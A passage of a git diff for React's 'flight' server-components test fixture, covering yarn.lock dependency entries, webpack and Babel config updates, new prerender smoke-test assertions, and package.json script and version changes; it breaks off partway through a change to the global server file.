+  resolved "https://registry.yarnpkg.com/on-net-listen/-/on-net-listen-1.1.2.tgz#671e55a81c910fa7e5b1e4d506545e9ea0f2e11c"
+  integrity sha512-y1HRYy8s/RlcBvDUwKXSmkODMdx4KSuIvloCnQYJ2LdBBC1asY4HtfhXwe3UWknLakATZDnbzht2Ijw3M1EqFg==
+
+p-limit@^2.0.0, p-limit@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
+  integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
+  dependencies:
+    p-try "^2.0.0"
+
+p-locate@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
+  integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
+  dependencies:
+    p-limit "^2.0.0"
+
+p-locate@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+  integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
+  dependencies:
+    p-limit "^2.2.0"
+
+p-try@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
+  integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
+
+pako@^1.0.3:
+  version "1.0.11"
+  resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
+  integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
+
+path-exists@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
+  integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+pify@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
+  integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
+
+pirates@^4.0.6:
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.7.tgz#643b4a18c4257c8a65104b73f3049ce9a0a15e22"
+  integrity sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==
+
+pkg-dir@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
+  integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
+  dependencies:
+    find-up "^3.0.0"
+
+pkg-dir@^4.1.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
+  integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
+  dependencies:
+    find-up "^4.0.0"
+
+pretty-bytes@^5.4.1:
+  version "5.6.0"
+  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
+  integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
+
+progress@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
+  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
+
+punycode@^2.1.0:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
+
+react-dom@experimental:
+  version "0.0.0-experimental-c0d218f0-20260324"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-0.0.0-experimental-c0d218f0-20260324.tgz#7b815747298ee973188135e0c76f0ad11b07fbf9"
+  integrity sha512-GUuoLbzQKthaq4q489w9cK0ygVFzZmvVyO7/8VWjxN3QDc+jSL9Kr/ErTYRRSi8E50D8b+oATwSyhThbw23SUw==
+  dependencies:
+    scheduler "0.0.0-experimental-c0d218f0-20260324"
+
+react-server-dom-webpack@experimental:
+  version "0.0.0-experimental-c0d218f0-20260324"
+  resolved "https://registry.yarnpkg.com/react-server-dom-webpack/-/react-server-dom-webpack-0.0.0-experimental-c0d218f0-20260324.tgz#467584b76cff6f7d2f1e6729f6baabf3fcad1b31"
+  integrity sha512-h+hwxL+XoWtJEQILwAs3eLJy1jq2oYQkWy6BKBhkAut96Bu9lZrsv1jBvqM1Qrqk0SUptwL8fq9NJzf40a0E9A==
+  dependencies:
+    acorn-loose "^8.3.0"
+    neo-async "^2.6.1"
+    webpack-sources "^3.2.0"
+
+react@experimental:
+  version "0.0.0-experimental-c0d218f0-20260324"
+  resolved "https://registry.yarnpkg.com/react/-/react-0.0.0-experimental-c0d218f0-20260324.tgz#47c300467702a2c51949da6778a62f3e26e8227c"
+  integrity sha512-nPA7pQyKQfUUilYIY7BQu52sk9b3EtCksE6WhPTx73R+WZgtHyDg6v1MVExERBI9CmCaxbDessGvDpa3aNdMiQ==
+
+reinterval@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/reinterval/-/reinterval-1.1.0.tgz#3361ecfa3ca6c18283380dd0bb9546f390f5ece7"
+  integrity sha512-QIRet3SYrGp0HUHO88jVskiG6seqUGC5iAG7AwI/BV4ypGcuqk9Du6YQBUOUqm9c8pw1eyLoIaONifRua1lsEQ==
+
+require-from-string@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
+  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
+
+retimer@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/retimer/-/retimer-3.0.0.tgz#98b751b1feaf1af13eb0228f8ea68b8f9da530df"
+  integrity sha512-WKE0j11Pa0ZJI5YIk0nflGI7SQsfl2ljihVy7ogh7DeQSeYAUi0ubZ/yEueGtDfUPk6GH5LRw1hBdLq4IwUBWA==
+
+scheduler@0.0.0-experimental-c0d218f0-20260324:
+  version "0.0.0-experimental-c0d218f0-20260324"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.0.0-experimental-c0d218f0-20260324.tgz#7b941bfbb39d196c5950f794c7bc55d70d173f29"
+  integrity sha512-4qflKJbb94NetORoYzvxKYgkV/ka3M66o9hjQmqOJSfIIk5EAmORwXDXAqPOX3n5MQF/vrlGYBL3MXiQY3ERjw==
+
+schema-utils@^2.6.5:
+  version "2.7.1"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
+  integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==
+  dependencies:
+    "@types/json-schema" "^7.0.5"
+    ajv "^6.12.4"
+    ajv-keywords "^3.5.2"
+
+schema-utils@^4.3.0, schema-utils@^4.3.3:
+  version "4.3.3"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-4.3.3.tgz#5b1850912fa31df90716963d45d9121fdfc09f46"
+  integrity sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==
+  dependencies:
+    "@types/json-schema" "^7.0.9"
+    ajv "^8.9.0"
+    ajv-formats "^2.1.1"
+    ajv-keywords "^5.1.0"
+
+semver@^5.6.0:
+  version "5.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
+
+semver@^6.0.0, semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+semver@^7.3.2:
+  version "7.7.4"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.4.tgz#28464e36060e991fa7a11d0279d2d3f3b57a7e8a"
+  integrity sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==
+
+shallow-clone@^3.0.0:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3"
+  integrity sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==
+  dependencies:
+    kind-of "^6.0.2"
+
+source-map-support@^0.5.16, source-map-support@~0.5.20:
+  version "0.5.21"
+  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f"
+  integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==
+  dependencies:
+    buffer-from "^1.0.0"
+    source-map "^0.6.0"
+
+source-map@^0.6.0:
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
+  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
+
+string-width@^4.2.0:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+supports-color@^8.0.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c"
+  integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
+  dependencies:
+    has-flag "^4.0.0"
+
+tapable@^2.3.0:
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.3.2.tgz#86755feabad08d82a26b891db044808c6ad00f15"
+  integrity sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA==
+
+terser-webpack-plugin@^5.3.17:
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.4.0.tgz#95fc4cf4437e587be11ecf37d08636089174d76b"
+  integrity sha512-Bn5vxm48flOIfkdl5CaD2+1CiUVbonWQ3KQPyP7/EuIl9Gbzq/gQFOzaMFUEgVjB1396tcK0SG8XcNJ/2kDH8g==
+  dependencies:
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jest-worker "^27.4.5"
+    schema-utils "^4.3.0"
+    terser "^5.31.1"
+
+terser@^5.31.1:
+  version "5.46.1"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.46.1.tgz#40e4b1e35d5f13130f82793a8b3eeb7ec3a92eee"
+  integrity sha512-vzCjQO/rgUuK9sf8VJZvjqiqiHFaZLnOiimmUuOKODxWL8mm/xua7viT7aqX7dgPY60otQjUotzFMmCB4VdmqQ==
+  dependencies:
+    "@jridgewell/source-map" "^0.3.3"
+    acorn "^8.15.0"
+    commander "^2.20.0"
+    source-map-support "~0.5.20"
+
+timestring@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/timestring/-/timestring-6.0.0.tgz#b0c7c331981ecf2066ce88bcfb8ee3ae32e7a0f6"
+  integrity sha512-wMctrWD2HZZLuIlchlkE2dfXJh7J2KDI9Dwl+2abPYg0mswQHfOAyQW3jJg1pY5VfttSINZuKcXoB3FGypVklA==
+
+undici-types@~7.18.0:
+  version "7.18.2"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-7.18.2.tgz#29357a89e7b7ca4aef3bf0fd3fd0cd73884229e9"
+  integrity sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==
+
+update-browserslist-db@^1.2.0:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz#64d76db58713136acbeb4c49114366cc6cc2e80d"
+  integrity sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.1"
+
+uri-js@^4.2.2:
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+  dependencies:
+    punycode "^2.1.0"
+
+uuid-parse@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/uuid-parse/-/uuid-parse-1.1.0.tgz#7061c5a1384ae0e1f943c538094597e1b5f3a65b"
+  integrity sha512-OdmXxA8rDsQ7YpNVbKSJkNzTw2I+S5WsbMDnCtIWSQaosNAcWtFuI/YK1TjzUI6nbkgiqEyh8gWngfcv8Asd9A==
+
+uuid@^8.3.2:
+  version "8.3.2"
+  resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2"
+  integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==
+
+watchpack@^2.5.1:
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.5.1.tgz#dd38b601f669e0cbf567cb802e75cead82cde102"
+  integrity sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg==
+  dependencies:
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.1.2"
+
+webpack-sources@^3.2.0, webpack-sources@^3.3.4:
+  version "3.3.4"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.3.4.tgz#a338b95eb484ecc75fbb196cbe8a2890618b4891"
+  integrity sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q==
+
+webpack@^5.64.4:
+  version "5.105.4"
+  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.105.4.tgz#1b77fcd55a985ac7ca9de80a746caffa38220169"
+  integrity sha512-jTywjboN9aHxFlToqb0K0Zs9SbBoW4zRUlGzI2tYNxVYcEi/IPpn+Xi4ye5jTLvX2YeLuic/IvxNot+Q1jMoOw==
+  dependencies:
+    "@types/eslint-scope" "^3.7.7"
+    "@types/estree" "^1.0.8"
+    "@types/json-schema" "^7.0.15"
+    "@webassemblyjs/ast" "^1.14.1"
+    "@webassemblyjs/wasm-edit" "^1.14.1"
+    "@webassemblyjs/wasm-parser" "^1.14.1"
+    acorn "^8.16.0"
+    acorn-import-phases "^1.0.3"
+    browserslist "^4.28.1"
+    chrome-trace-event "^1.0.2"
+    enhanced-resolve "^5.20.0"
+    es-module-lexer "^2.0.0"
+    eslint-scope "5.1.1"
+    events "^3.2.0"
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.2.11"
+    json-parse-even-better-errors "^2.3.1"
+    loader-runner "^4.3.1"
+    mime-types "^2.1.27"
+    neo-async "^2.6.2"
+    schema-utils "^4.3.3"
+    tapable "^2.3.0"
+    terser-webpack-plugin "^5.3.17"
+    watchpack "^2.5.1"
+    webpack-sources "^3.3.4"
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
diff --git a/fixtures/flight/.nvmrc b/fixtures/flight/.nvmrc
index 3f430af82b3d..5f53e875de68 100644
--- a/fixtures/flight/.nvmrc
+++ b/fixtures/flight/.nvmrc
@@ -1 +1 @@
-v18
+v20.19.0
diff --git a/fixtures/flight/__tests__/__e2e__/smoke.test.js b/fixtures/flight/__tests__/__e2e__/smoke.test.js
index 267bd109081a..f2bcbbd111c8 100644
--- a/fixtures/flight/__tests__/__e2e__/smoke.test.js
+++ b/fixtures/flight/__tests__/__e2e__/smoke.test.js
@@ -16,6 +16,13 @@ test('smoke test', async ({page}) => {
   await expect(page.getByTestId('promise-as-a-child-test')).toHaveText(
     'Promise as a child hydrates without errors: deferred text'
   );
+  await expect(page.getByTestId('prerendered')).not.toBeAttached();
+
+  await expect(consoleErrors).toEqual([]);
+  await expect(pageErrors).toEqual([]);
+
+  await page.goto('/prerender');
+  await expect(page.getByTestId('prerendered')).toBeAttached();
 
   await expect(consoleErrors).toEqual([]);
   await expect(pageErrors).toEqual([]);
diff --git a/fixtures/flight/config/webpack.config.js b/fixtures/flight/config/webpack.config.js
index 69be1859fdc6..e60ec070ab2d 100644
--- a/fixtures/flight/config/webpack.config.js
+++ b/fixtures/flight/config/webpack.config.js
@@ -15,6 +15,7 @@ const TerserPlugin = require('terser-webpack-plugin');
 const MiniCssExtractPlugin = require('mini-css-extract-plugin');
 const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
 const ModuleScopePlugin = require('react-dev-utils/ModuleScopePlugin');
+const DevToolsIgnorePlugin = require('devtools-ignore-webpack-plugin');
 const getCSSModuleLocalIdent = require('react-dev-utils/getCSSModuleLocalIdent');
 const paths = require('./paths');
 const modules = require('./modules');
@@ -75,19 +76,6 @@ const cssModuleRegex = /\.module\.css$/;
 const sassRegex = /\.(scss|sass)$/;
 const sassModuleRegex = /\.module\.(scss|sass)$/;
 
-const hasJsxRuntime = (() => {
-  if (process.env.DISABLE_NEW_JSX_TRANSFORM === 'true') {
-    return false;
-  }
-
-  try {
-    require.resolve('react/jsx-runtime');
-    return true;
-  } catch (e) {
-    return false;
-  }
-})();
-
 // This is the production and development configuration.
 // It is focused on developer experience, fast rebuilds, and a minimal bundle.
 module.exports = function (webpackEnv) {
@@ -424,7 +412,7 @@ module.exports = function (webpackEnv) {
                   [
                     require.resolve('babel-preset-react-app'),
                     {
-                      runtime: hasJsxRuntime ? 'automatic' : 'classic',
+                      runtime: 'automatic',
                     },
                   ],
                 ],
@@ -685,6 +673,15 @@ module.exports = function (webpackEnv) {
           },
         }),
       // Fork Start
+      new DevToolsIgnorePlugin({
+        shouldIgnorePath: function (path) {
+          return (
+            path.includes('/node_modules/') ||
+            path.includes('/webpack/') ||
+            path.endsWith('/src/index.js')
+          );
+        },
+      }),
       new ReactFlightWebpackPlugin({
         isServer: false,
         clientReferences: {
diff --git a/fixtures/flight/loader/global.js b/fixtures/flight/loader/global.js
index 4cb9ec63d054..cce3e63a773a 100644
--- a/fixtures/flight/loader/global.js
+++ b/fixtures/flight/loader/global.js
@@ -5,7 +5,7 @@ const babelOptions = {
   ignore: [/\/(build|node_modules)\//],
   plugins: [
     '@babel/plugin-syntax-import-meta',
-    '@babel/plugin-transform-react-jsx',
+    ['@babel/plugin-transform-react-jsx', {runtime: 'automatic'}],
   ],
 };
 
diff --git a/fixtures/flight/loader/region.js b/fixtures/flight/loader/region.js
index c81538bc714d..b82aff69dd9b 100644
--- a/fixtures/flight/loader/region.js
+++ b/fixtures/flight/loader/region.js
@@ -3,7 +3,7 @@ import {
   load as reactLoad,
   getSource as getSourceImpl,
   transformSource as reactTransformSource,
-} from 'react-server-dom-webpack/node-loader';
+} from 'react-server-dom-unbundled/node-loader';
 
 export {resolve};
 
@@ -14,7 +14,7 @@ const babelOptions = {
   ignore: [/\/(build|node_modules)\//],
   plugins: [
     '@babel/plugin-syntax-import-meta',
-    '@babel/plugin-transform-react-jsx',
+    ['@babel/plugin-transform-react-jsx', {runtime: 'automatic'}],
   ],
   sourceMaps: process.env.NODE_ENV === 'development' ? 'inline' : false,
 };
diff --git a/fixtures/flight/package.json b/fixtures/flight/package.json
index cb0f77c8ea5a..6018ffb0e4ff 100644
--- a/fixtures/flight/package.json
+++ b/fixtures/flight/package.json
@@ -4,13 +4,13 @@
   "version": "0.1.0",
   "private": true,
   "devEngines": {
-    "node": "20.x || 21.x"
+    "node": "20.x || 22.x"
   },
   "dependencies": {
     "@babel/core": "^7.16.0",
     "@babel/plugin-proposal-private-property-in-object": "^7.18.6",
     "@babel/preset-react": "^7.22.5",
-    "@pmmmwh/react-refresh-webpack-plugin": "0.5.7",
+    "@pmmmwh/react-refresh-webpack-plugin": "0.5.15",
     "@svgr/webpack": "^5.5.0",
     "@testing-library/jest-dom": "^5.14.1",
     "@testing-library/react": "^13.0.0",
@@ -23,11 +23,13 @@
     "browserslist": "^4.18.1",
     "busboy": "^1.6.0",
     "camelcase": "^6.2.1",
+    "canvas": "^3.1.0",
     "case-sensitive-paths-webpack-plugin": "^2.4.0",
     "compression": "^1.7.4",
     "concurrently": "^7.3.0",
     "css-loader": "^6.5.1",
     "css-minimizer-webpack-plugin": "^3.2.0",
+    "devtools-ignore-webpack-plugin": "^0.2.0",
     "dotenv": "^10.0.0",
     "dotenv-expand": "^5.1.0",
     "file-loader": "^6.2.0",
@@ -49,6 +51,7 @@
     "react-dev-utils": "^12.0.1",
     "react-dom": "experimental",
     "react-refresh": "^0.11.0",
+    "react-server-dom-webpack": "experimental",
     "resolve": "^1.20.0",
     "resolve-url-loader": "^4.0.0",
     "sass-loader": "^12.3.0",
@@ -64,15 +67,15 @@
     "webpack-manifest-plugin": "^4.0.2"
   },
   "devDependencies": {
-    "@playwright/test": "^1.41.2"
+    "@playwright/test": "^1.51.1"
   },
   "scripts": {
-    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/",
-    "prebuild": "cp -r ../../build/oss-experimental/* ./node_modules/",
-    "dev": "concurrently \"npm run dev:region\" \"npm run dev:global\"",
-    "dev:global": "NODE_ENV=development BUILD_PATH=dist node --experimental-loader ./loader/global.js server/global",
-    "dev:region": "NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --enable-source-maps --experimental-loader ./loader/region.js --conditions=react-server server/region",
-    "start": "node scripts/build.js && concurrently \"npm run start:region\" \"npm run start:global\"",
+    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "prebuild": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "dev": "concurrently \"yarn run dev:region\" \"yarn run dev:global\"",
+    "dev:global": "NODE_ENV=development BUILD_PATH=dist node --experimental-loader ./loader/global.js --inspect=127.0.0.1:9230 server/global",
+    "dev:region": "NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --enable-source-maps --experimental-loader ./loader/region.js --conditions=react-server --inspect=127.0.0.1:9229 server/region",
+    "start": "node scripts/build.js && concurrently \"yarn run start:region\" \"yarn run start:global\"",
     "start:global": "NODE_ENV=production node --experimental-loader ./loader/global.js server/global",
     "start:region": "NODE_ENV=production node --experimental-loader ./loader/region.js --conditions=react-server server/region",
     "build": "node scripts/build.js",
diff --git a/fixtures/flight/playwright.config.js b/fixtures/flight/playwright.config.js
index faecd8219acd..40d86c37c946 100644
--- a/fixtures/flight/playwright.config.js
+++ b/fixtures/flight/playwright.config.js
@@ -24,7 +24,7 @@ export default defineConfig({
     },
   ],
   webServer: {
-    command: 'FAST_REFRESH=false yarn dev',
+    command: 'yarn dev',
     url: 'http://localhost:3000',
     reuseExistingServer: !isCI,
   },
diff --git a/fixtures/flight/server/global.js b/fixtures/flight/server/global.js
index e4ae3a62916a..0883faf627cf 100644
--- a/fixtures/flight/server/global.js
+++ b/fixtures/flight/server/global.js
@@ -36,7 +36,7 @@ const http = require('http');
 const React = require('react');
 
 const {renderToPipeableStream} = require('react-dom/server');
-const {createFromNodeStream} = require('react-server-dom-webpack/client');
+const {createFromNodeStream} = require('react-server-dom-unbundled/client');
 const {PassThrough} = require('stream');
 
 const app = express();
@@ -86,7 +86,7 @@ function request(options, body) {
   });
 }
 
-app.all('/', async function (req, res, next) {
+async function renderApp(req, res, next) {
   // Proxy the request to the regional server.
   const proxiedHeaders = {
     'X-Forwarded-Host': req.hostname,
@@ -101,13 +101,21 @@ app.all('/', async function (req, res, next) {
   } else if (req.get('Content-type')) {
     proxiedHeaders['Content-type'] = req.get('Content-type');
   }
+  if (req.headers['cache-control']) {
+    proxiedHeaders['Cache-Control'] = req.get('cache-control');
+  }
+  if (req.get('rsc-request-id')) {
